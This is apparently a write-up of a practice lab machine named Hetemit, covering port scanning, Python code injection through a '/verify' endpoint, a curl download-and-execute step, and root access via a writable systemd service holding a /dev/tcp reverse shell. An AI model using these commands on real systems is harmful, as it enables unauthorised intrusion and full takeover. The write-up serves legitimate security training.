Machine Information
- Machine Name: Hetemit
- Machine Difficulty: intermediate
Information Gathering
Classic nmap time
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
Nmap scan report for 192.168.207.117
Host is up, received user-set (0.015s latency).
Scanned at 2024-10-23 14:20:01 +08 for 178s
Not shown: 65528 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.251.207
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 b1:e2:9d:f1:f8:10:db:a5:aa:5a:22:94:e8:92:61:65 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH2Cap49zuKy70lHzXsOn9iOap0h1Dnwk14D6PNKugueOqGpYoffwCGCA0wF4cI3+MRjuHz4xGznmtTIP3vOBZINZvT5PsNcvu6ef0SDfDOMFbzsEirhpQuoBYvgmEuJ4u1VMiwNaYQ0jw9t+nsR2MAIym/wdKt+ghYm4qlB3WvLMV41uCu0F7OQadRX8GWrLWLucjSQ1f80tkV7mc7ZfuTm8YdsAOkNQufHkVE+Alk0NpHdqLh/6FHxmEqYwP0jX6HS/lg+MfczIbIQ91v7+ljvo3qgdSZPqqulUtQuj/Rb/gmIfItzFZIxTzLQ6FuKKmoTMXaR/tXf93+91z+kBdDaZe/5eu6fLCdGuFyioB97LdZGJq8uFbM0BpNeBYc0i/DOFwxWBhO8/zzv1uaTUKuS1B+bny1iUTiQoJj6GVRQmvgk/2Km5SanF3Cp4PSSJMQ112Umjg1T61ah/i//KXAyZ25xOznolBw/aoCc9cremrkycUp7dmuATBNCgHFS0=
| 256 74:dd:fa:f2:51:dd:74:38:2b:b2:ec:82:e5:91:82:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPTMpDGmoKZ96W+Ivvw7sQmnD1U41OY34oAzJ5Z1/AP/iVj+TpKO6lCKPxDq+9nbJJU4dtQx8X+KjQqUtpYIUhw=
| 256 48:bc:9d:eb:bd:4d:ac:b3:0b:5d:67:da:56:54:2b:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEUnTSrfkvL2AJJsozjPtXIWf/6Z7UB9WptTiOOX93m4
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.37 ((centos))
|_http-server-header: Apache/2.4.37 (centos)
| http-methods:
| Supported Methods: HEAD GET POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP \xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2
18000/tcp open biimenu? syn-ack ttl 61
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| GetRequest, HTTPOptions:
| HTTP/1.0 403 Forbidden
| Content-Type: text/html; charset=UTF-8
| Content-Length: 3102
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8" />
| <title>Action Controller: Exception caught</title>
| <style>
| body {
| background-color: #FAFAFA;
| color: #333;
| margin: 0px;
| body, p, ol, ul, td {
| font-family: helvetica, verdana, arial, sans-serif;
| font-size: 13px;
| line-height: 18px;
| font-size: 11px;
| white-space: pre-wrap;
| pre.box {
| border: 1px solid #EEE;
| padding: 10px;
| margin: 0px;
| width: 958px;
| header {
| color: #F0F0F0;
| background: #C52F24;
| padding: 0.5em 1.5em;
| margin: 0.2em 0;
| line-height: 1.1em;
| font-size: 2em;
| color: #C52F24;
| line-height: 25px;
| .details {
|_ bord
50000/tcp open http syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.6.8)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.8
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
There’s a lot of web port. Time to check each of it.
Port 50000
1
2
curl http://192.168.207.117:50000
{'/generate', '/verify'}
This port is interesting as the website provide 2 endpoints which is generate
and verify
. After playing around, I noticed this interesting endpoint.
1
2
curl http://192.168.207.117:50000/verify -X POST -d 'code=7*7'
49
It seems like the input that I provided has some changes. I then tried to perform other injection related to python since this website is created using python.
1
2
curl http://192.168.207.117:50000/verify -X POST -d 'code=os'
<module 'os' from '/usr/lib64/python3.6/os.py'>
It seems like the python module os
is already imported. I could just execute command in this case.
1
2
3
4
5
curl http://192.168.207.117:50000/verify -X POST -d 'code=os.system("id")'
0
curl 192.168.207.117:50000/verify -X POST -d 'code=os.system("curl 192.168.45.192/test.sh -o /tmp/test.sh")'
0
curl 192.168.207.117:50000/verify -X POST -d 'code=os.system("bash /tmp/test.sh")'
By uploading the file, I could get a reverse shell with it.
1
2
[cmeeks@hetemit restjson_hetemit]$ whoami
cmeeks
Now that I have shell but not root user, time to perform privilege escalation.
Privilege Escalation
I usually started with linpeas.sh
since this is a linux machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[cmeeks@hetemit ~]$ ls -la /etc/systemd/system/pythonapp.service
-rw-rw-r-- 1 root cmeeks 302 Nov 13 2020 /etc/systemd/system/pythonapp.service
[cmeeks@hetemit ~]$ cat /etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target
[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=flask run -h 0.0.0.0 -p 50000
TimeoutSec=30
RestartSec=15s
User=cmeeks
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure
[Install]
WantedBy=multi-user.target
I noticed this file has write permission for current user that I have.
1
2
3
4
5
6
7
8
[cmeeks@hetemit ~]$ sudo -l
Matching Defaults entries for cmeeks on hetemit:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User cmeeks may run the following commands on hetemit:
(root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff
Aside from that, I have permission to perform reboot. This means that I could modify the file and reboot to make the file running as root. Now I’ll just need to modify the file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[cmeeks@hetemit restjson_hetemit]$ cat /etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target
[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.45.192/50000 0>&1'
TimeoutSec=30
RestartSec=15s
User=cmeeks
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure
[Install]
WantedBy=multi-user.target
After the machine is reboot, I should have my shell spawned.
1
2
3
4
5
6
7
8
nc -nvlp 50000
listening on [any] 50000 ...
connect to [192.168.45.192] from (UNKNOWN) [192.168.207.117] 50378
bash: cannot set terminal process group (1227): Inappropriate ioctl for device
bash: no job control in this shell
[root@hetemit restjson_hetemit]# whoami
whoami
root
Tada, that’s how I get my shell.
Things I learned from this machine
- try every endpoint especially those that looks suspicious
- look out for
*.service
file that has write permission and check if user can reboot the machine. - in this scenario,
pythonapp.service
, I could just change the user toroot
to get root shell directly after rebooting and perform the same attack method